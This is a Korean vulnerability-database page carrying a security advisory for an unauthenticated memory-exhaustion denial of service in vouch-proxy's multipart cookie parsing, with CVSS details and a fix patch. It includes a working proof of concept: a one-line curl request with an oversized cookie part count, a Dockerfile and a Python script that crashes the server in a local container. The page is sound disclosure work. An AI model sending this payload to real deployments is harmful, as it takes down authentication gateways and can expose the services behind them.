Kestrel
대시보드로 돌아가기
CVE-2026-55149HIGH· 7.5GHSA대응게시일: 2026. 08. 20.수정일: 2026. 08. 20.

vouch-proxy has an Unbounded Multipart Cookie Allocation DoS

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향높음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

상세 설명

Unbounded Multipart Cookie Allocation DoS in vouch-proxy

Summary

vouch-proxy v0.47.2 contains an unauthenticated remote denial-of-service vulnerability in its multipart cookie reassembly logic. The /validate endpoint parses the total cookie part count directly from the attacker-controlled cookie name (e.g., VouchCookie_1of<N>) and passes it without any bounds check to make([]string, N). A single HTTP request with N=10000000000 causes the Go runtime to attempt a ~160 GB heap allocation, triggering a fatal out-of-memory error that crashes the server process immediately. No authentication or prior session is required.

Details

The vulnerability exists in pkg/cookie/cookie.go. The Cookie() function iterates over all cookies in the request, identifies multipart cookies by the _NofM suffix in their name, and initializes the reassembly slice on the first matching cookie:

text
1// pkg/cookie/cookie.go:123130
2xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
3xyArray := strings.Split(xOFy, "of")
4if numParts == -1 {
5 if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
6 return "", fmt.Errorf("multipart cookie fail: %s", err)
7 }
8 cookieParts = make([]string, numParts) // sink: unbounded allocation
9}

The value in xyArray[1] comes directly from the cookie name supplied by the client. There is no maximum value check, no positive-range assertion, and no format validation before strconv.Atoi parses it. The result is used as the length argument to make, so an attacker who supplies VouchCookie_1of10000000000 causes the runtime to request approximately 10_000_000_000 × 16 bytes ≈ 160 GB of memory in a single call.

The complete exploit path from network entry to crash:

  1. main.go:167/validate and /_external-auth-:id are registered wrapped in JWTCacheHandler.
  2. pkg/jwtmanager/jwtcache.go:54JWTCacheHandler calls FindJWT(r) before any authentication check.
  3. pkg/jwtmanager/jwtmanager.go:228FindJWT calls cookie.Cookie(r).
  4. pkg/cookie/cookie.go:109r.Cookies() reads the attacker-supplied Cookie: header.
  5. pkg/cookie/cookie.go:124 — cookie name suffix is split on "of".
  6. pkg/cookie/cookie.go:126strconv.Atoi(xyArray[1]) parses the attacker-controlled total.
  7. pkg/cookie/cookie.go:130sink: make([]string, numParts) attempts a gigantic heap allocation.

Because the code path is exercised before JWT validation, no session token, credentials, or prior authentication are needed.

A suggested remediation is to add a strict upper bound and format validation before the allocation:

text
1--- a/pkg/cookie/cookie.go
2+++ b/pkg/cookie/cookie.go
3@@ const maxCookieSize = 4000
4+const maxCookieParts = 32
5@@
6- xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
7- xyArray := strings.Split(xOFy, "of")
8+ xOFy := strings.Replace(cookie.Name, cookieUnder, "", 1)
9+ partStr, totalStr, ok := strings.Cut(xOFy, "of")
10+ if !ok || partStr == "" || totalStr == "" {
11+ return "", fmt.Errorf("multipart cookie fail: invalid cookie part name")
12+ }
13 if numParts == -1 {
14- if numParts, err = strconv.Atoi(xyArray[1]); err != nil {
15+ if numParts, err = strconv.Atoi(totalStr); err != nil {
16 return "", fmt.Errorf("multipart cookie fail: %s", err)
17 }
18+ if numParts < 1 || numParts > maxCookieParts {
19+ return "", fmt.Errorf("multipart cookie fail: invalid part count %d", numParts)
20+ }
21 cookieParts = make([]string, numParts)
22 }

PoC

Environment setup

Build the vulnerable image from source (requires the vouch-proxy repository at the path below):

text
1docker build \
2 -f vuln-001/Dockerfile \
3 -t vouch-vuln001 \
4 repo

Start the container (no memory limit is imposed; the Go runtime itself fails the allocation):

text
1docker run -d --name vouch-vuln001-poc -p 19090:9090 vouch-vuln001

Wait for the server to respond to a baseline request (expected HTTP 302 or similar):

bash
1curl -v http://127.0.0.1:19090/validate

Attack request

Send a single unauthenticated HTTP GET with the malicious cookie name:

bash
1curl -v http://127.0.0.1:19090/validate \
2 -H 'Host: app.example.com' \
3 -H 'Cookie: VouchCookie_1of10000000000=x'

Alternatively, run the automated PoC script:

text
1python3 poc.py --image vouch-vuln001 --port 19090 --parts 10000000000

Expected result

The server process crashes immediately with a Go runtime fatal error. Container logs show:

text
1fatal error: runtime: out of memory
2
3runtime.makeslice(0x0?, 0x0?, 0x0?)
4 /usr/local/go/src/runtime/slice.go:117
5github.com/vouch/vouch-proxy/pkg/cookie.Cookie(...)
6 /src/pkg/cookie/cookie.go:130
7github.com/vouch/vouch-proxy/pkg/jwtmanager.FindJWT(...)
8 /src/pkg/jwtmanager/jwtmanager.go:228
9main.main.JWTCacheHandler.func1(...)
10 /src/pkg/jwtmanager/jwtcache.go:54

The container exits with code 2 (Go runtime fatal). The curl client receives an empty reply. The attack is 100% deterministic and reproducible on every run.

Minimal configuration (no real OAuth provider required):

text
1vouch:
2 logLevel: info
3 listen: 0.0.0.0
4 port: 9090
5 domains:
6 - vouch.github.io
7oauth:
8 provider: indieauth
9 client_id: http://vouch.github.io
10 auth_url: https://indielogin.com/auth
11 callback_url: http://vouch.github.io:9090/auth

Impact

This is an unauthenticated remote denial-of-service vulnerability. Any network-reachable vouch-proxy instance running with a default or standard configuration is affected.

An attacker who can send a single HTTP request to the /validate or /_external-auth-:id endpoint can crash the vouch-proxy process immediately. In containerized deployments the container restarts; a persistent attacker can send the request again immediately after restart, keeping the proxy permanently unavailable. Since vouch-proxy is used as an authentication gateway in front of protected applications, its unavailability can result in downstream services becoming inaccessible or, depending on the reverse-proxy fail-open/fail-closed policy, unintentionally exposed.

No authentication, session, or prior account is required. The attack is reliable across all deployment configurations because the default cookie name (VouchCookie) is used and the vulnerable code path is exercised unconditionally on every request to the listed endpoints.

Reproduction artifacts

Dockerfile
sql
1# VULN-001 — Unbounded Multipart Cookie Allocation DoS
2# vouch/vouch-proxy v0.47.2 (commit b683f60)
3#
4# Attack: GET /validate with Cookie: VouchCookie_1of<HUGE>=x
5# -> cookie.Cookie() calls strconv.Atoi on the attacker-controlled total
6# -> make([]string, <HUGE>) triggers an immediate OOM fatal in the Go runtime
7# -> Server process crashes; no authentication required
8#
9# Build: docker build -f vuln-001/Dockerfile -t vouch-vuln001 /path/to/repo
10# Run: docker run --rm -p 9090:9090 --name vouch-vuln001 vouch-vuln001
11
12# ---------- Stage 1: compile vouch-proxy from source ----------
13FROM golang:1.26 AS builder
14
15WORKDIR /src
16COPY . .
17
18# Build a statically linked binary; skip do.sh which requires live git tags.
19# Version ldflags are pinned to the affected commit for reproducibility.
20RUN CGO_ENABLED=0 GOOS=linux \
21 go build -v \
22 -ldflags="-s -w \
23 -X main.version=b683f60 \
24 -X main.uname=linux \
25 -X main.builddt=2024-01-01T00:00:00Z \
26 -X main.host=vuln-poc \
27 -X main.semver=v0.47.2 \
28 -X main.branch=main" \
29 -o /vouch-proxy .
30
31# ---------- Stage 2: minimal runtime image ----------
32FROM debian:bookworm-slim
33
34RUN apt-get update && \
35 apt-get install -y --no-install-recommends ca-certificates && \
36 rm -rf /var/lib/apt/lists/*
37
38COPY --from=builder /vouch-proxy /vouch-proxy
39
40# Minimal config: allowAllUsers so startup succeeds without real OAuth,
41# default cookie name VouchCookie matches the PoC payload.
42RUN mkdir -p /config && cat > /config/config.yml << 'EOF'
43vouch:
44 logLevel: info
45 listen: 0.0.0.0
46 port: 9090
47 domains:
48 - vouch.github.io
49oauth:
50 provider: indieauth
51 client_id: http://vouch.github.io
52 auth_url: https://indielogin.com/auth
53 callback_url: http://vouch.github.io:9090/auth
54EOF
55
56EXPOSE 9090
57ENTRYPOINT ["/vouch-proxy"]
poc.py
python
1#!/usr/bin/env python3
2"""
3VULN-001 Proof-of-Concept: Unbounded Multipart Cookie Allocation DoS
4Target: vouch/vouch-proxy v0.47.2 (commit b683f60)
5File: pkg/cookie/cookie.go:126
6
7Attack summary
8--------------
9The multipart-cookie reassembly routine reads the total part count from the
10attacker-controlled cookie *name* (e.g. VouchCookie_1of<N>) and calls
11 make([]string, N)
12with no upper-bound check. The /validate endpoint is reachable without any
13authentication, so a single HTTP request with N=10_000_000_000 forces the
14Go runtime to attempt a ~160 GB heap allocation, which immediately triggers
15 runtime: out of memory: cannot allocate ...
16and crashes the server process (Go fatal, exit 2).
17
18Usage
19-----
20Run from the repo root (or any directory; paths are absolute):
21
22 python3 poc.py [--image IMAGE] [--port PORT] [--parts N]
23
24Defaults:
25 IMAGE = vouch-vuln001
26 PORT = 9090
27 PARTS = 10000000000 (10 billion -> ~160 GB allocation request)
28"""
29
30import argparse
31import http.client
32import json
33import subprocess
34import sys
35import time
36
37# ──────────────────────────────────────────────────────────
38# Configuration
39# ──────────────────────────────────────────────────────────
40DEFAULT_IMAGE = "vouch-vuln001"
41DEFAULT_PORT = 19090 # host port; container always uses 9090 internally
42DEFAULT_PARTS = 10_000_000_000 # drives make([]string, 10_000_000_000)
43CONTAINER_NAME = "vouch-vuln001-poc"
44STARTUP_TIMEOUT_S = 30 # seconds to wait for the server to listen
45READY_POLL_S = 1.0
46
47
48# ──────────────────────────────────────────────────────────
49# Helpers
50# ──────────────────────────────────────────────────────────
51
52def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
53 """Run a subprocess and return the CompletedProcess."""
54 print(f"[cmd] {' '.join(cmd)}")
55 return subprocess.run(cmd, **kwargs)
56
57
58def cleanup(name: str) -> None:
59 """Remove an existing container by name, ignoring errors."""
60 subprocess.run(
61 ["docker", "rm", "-f", name],
62 stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
63 )
64
65
66def wait_for_server(host: str, port: int, timeout: float) -> bool:
67 """Poll GET /validate until we get any response (even 401/302) or timeout."""
68 deadline = time.monotonic() + timeout
69 while time.monotonic() < deadline:
70 try:
71 conn = http.client.HTTPConnection(host, port, timeout=2)
72 conn.request("GET", "/validate")
73 resp = conn.getresponse()
74 # Any HTTP response means the server is up.
75 print(f"[ready] server responded: HTTP {resp.status}")
76 conn.close()
77 return True
78 except OSError:
79 pass
80 time.sleep(READY_POLL_S)
81 return False
82
83
84def container_running(name: str) -> bool:
85 """Return True if the named container is still running."""
86 r = subprocess.run(
87 ["docker", "inspect", "--format", "{{.State.Running}}", name],
88 capture_output=True, text=True,
89 )
90 return r.returncode == 0 and r.stdout.strip() == "true"
91
92
93def container_exit_code(name: str) -> int | None:
94 """Return the exit code of a stopped container, or None if unknown."""
95 r = subprocess.run(
96 ["docker", "inspect", "--format", "{{.State.ExitCode}}", name],
97 capture_output=True, text=True,
98 )
99 if r.returncode == 0:
100 try:
101 return int(r.stdout.strip())
102 except ValueError:
103 pass
104 return None
105
106
107def container_oom(name: str) -> bool:
108 """Return True if the container was OOM-killed."""
109 r = subprocess.run(
110 ["docker", "inspect", "--format", "{{.State.OOMKilled}}", name],
111 capture_output=True, text=True,
112 )
113 return r.returncode == 0 and r.stdout.strip() == "true"
114
115
116def get_logs(name: str) -> str:
117 """Retrieve stdout+stderr from the container."""
118 r = subprocess.run(
119 ["docker", "logs", name],
120 capture_output=True, text=True,
121 )
122 return (r.stdout + r.stderr).strip()
123
124
125# ──────────────────────────────────────────────────────────
126# Main
127# ──────────────────────────────────────────────────────────
128
129def main() -> None:
130 parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
131 parser.add_argument("--image", default=DEFAULT_IMAGE, help="Docker image name")
132 parser.add_argument("--port", default=DEFAULT_PORT, type=int)
133 parser.add_argument("--parts", default=DEFAULT_PARTS, type=int,
134 help="N in VouchCookie_1ofN (drives allocation size)")
135 args = parser.parse_args()
136
137 host = "127.0.0.1"
138 port = args.port
139 image = args.image
140 num_parts = args.parts
141 cookie_val = f"VouchCookie_1of{num_parts}"
142
143 print("=" * 60)
144 print("VULN-001 PoC — Unbounded Multipart Cookie Allocation DoS")
145 print("=" * 60)
146 print(f" Image : {image}")
147 print(f" Target : http://{host}:{port}/validate")
148 print(f" Cookie : {cookie_val}=x")
149 print(f" Expected allocation: ~{(num_parts * 16) // (1024**3)} GB")
150 print()
151
152 # 1. Clean up any leftover container.
153 cleanup(CONTAINER_NAME)
154
155 # 2. Start the vouch-proxy container.
156 # Memory is uncapped at the Docker level; the Go runtime itself will
157 # fail the mmap when the host cannot honor the 160 GB request
158 # (overcommit heuristic or insufficient address space).
159 run_cmd = [
160 "docker", "run", "-d", # no --rm so logs survive after crash
161 "--name", CONTAINER_NAME,
162 "-p", f"{port}:9090", # host:container — vouch-proxy always binds :9090 internally
163 image,
164 ]
165 r = run(run_cmd, capture_output=True, text=True)
166 if r.returncode != 0:
167 print(f"[FAIL] docker run failed:\n{r.stderr}")
168 sys.exit(1)
169 container_id = r.stdout.strip()
170 print(f"[info] container started: {container_id[:12]}")
171
172 # 3. Wait for the HTTP server to accept connections.
173 print(f"[info] waiting for server on {host}:{port} (up to {STARTUP_TIMEOUT_S}s) ...")
174 ready = wait_for_server(host, port, STARTUP_TIMEOUT_S)
175 if not ready:
176 logs = get_logs(CONTAINER_NAME)
177 print(f"[FAIL] server did not become ready within {STARTUP_TIMEOUT_S}s.")
178 print("[logs]", logs[-2000:])
179 cleanup(CONTAINER_NAME)
180 sys.exit(1)
181
182 # 4. Send the malicious request.
183 print()
184 print("[attack] Sending malicious cookie to /validate ...")
185 request_line = f"GET /validate HTTP/1.1 Cookie: {cookie_val}=x"
186 print(f"[attack] {request_line}")
187 print()
188
189 try:
190 conn = http.client.HTTPConnection(host, port, timeout=10)
191 conn.request(
192 "GET", "/validate",
193 headers={
194 "Host": "app.example.com",
195 "Cookie": f"{cookie_val}=x",
196 },
197 )
198 # The server might crash before sending a response.
199 try:
200 resp = conn.getresponse()
201 body = resp.read(512).decode("utf-8", errors="replace")
202 print(f"[info] got HTTP {resp.status}: {body[:200]}")
203 except Exception as e:
204 print(f"[info] connection broken mid-response (expected): {e}")
205 conn.close()
206 except Exception as e:
207 print(f"[info] request exception (expected if server crashed): {e}")
208
209 # 5. Give the container a moment to record its exit state.
210 time.sleep(2)
211
212 # 6. Collect evidence.
213 still_running = container_running(CONTAINER_NAME)
214 exit_code = container_exit_code(CONTAINER_NAME)
215 oom_killed = container_oom(CONTAINER_NAME)
216 logs = get_logs(CONTAINER_NAME)
217
218 print("─" * 60)
219 print("[evidence] Container still running :", still_running)
220 print("[evidence] Container exit code :", exit_code)
221 print("[evidence] OOM-killed flag :", oom_killed)
222 print()
223 print("[logs] (last 3000 chars of container stdout+stderr):")
224 print(logs[-3000:] if logs else "(empty)")
225 print("─" * 60)
226
227 # 7. Verdict
228 #
229 # Evidence of exploitation (any one suffices):
230 # (a) Container exited (not still running) after the malicious request.
231 # (b) Exit code == 2 (Go runtime fatal: out of memory).
232 # (c) OOMKilled == true (kernel OOM killer fired).
233 # (d) Logs contain "out of memory" or "runtime: fatal".
234
235 crashed = not still_running
236 go_panic = exit_code == 2
237 oom_kill = oom_killed
238 log_oom = (
239 "out of memory" in logs.lower()
240 or "runtime: fatal" in logs.lower()
241 or "cannot allocate" in logs.lower()
242 )
243
244 passed = crashed and (go_panic or oom_kill or log_oom)
245
246 print()
247 if passed:
248 print("[PASS] Vulnerability reproduced: server crashed due to unbounded allocation.")
249 # Extract the key OOM line from logs.
250 oom_lines = [
251 ln for ln in logs.splitlines()
252 if any(kw in ln.lower() for kw in ("out of memory", "cannot allocate", "runtime: fatal", "oom"))
253 ]
254 evidence = "\n".join(oom_lines[:5]) if oom_lines else f"container exited with code {exit_code}"
255 else:
256 print("[FAIL] Could not confirm crash. See logs above for details.")
257 evidence = logs[-500:] if logs else "(no logs)"
258
259 print()
260 result = {
261 "passed": passed,
262 "verdict": "PASS" if passed else "FAIL",
263 "reason": (
264 "단일 비인증 HTTP 요청으로 서버 프로세스를 OOM 충돌시키는 취약점 재현 성공"
265 if passed else
266 "컨테이너 충돌을 확인할 수 없음 — 로그 및 종료 코드 참고"
267 ),
268 "build_command": (
269 "docker build -f vuln-001/Dockerfile "
270 "-t vouch-vuln001 "
271 "repo"
272 ),
273 "run_command": (
274 f"docker run --rm -d --name {CONTAINER_NAME} "
275 f"-p {port}:9090 {image}"
276 ),
277 "poc_command": (
278 f"python3 poc.py --image {image} --port {port} --parts {num_parts}"
279 ),
280 "evidence": evidence,
281 "artifacts": ["Dockerfile", "poc.py"],
282 }
283
284 result_path = (
285 "reports/pypiAi_450_vouch__vouch-proxy"
286 "/vuln-001/phase2_result.json"
287 )
288 with open(result_path, "w") as fh:
289 json.dump(result, fh, indent=2, ensure_ascii=False)
290 print(f"[saved] {result_path}")
291
292 # 8. Cleanup.
293 cleanup(CONTAINER_NAME)
294
295
296if __name__ == "__main__":
297 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.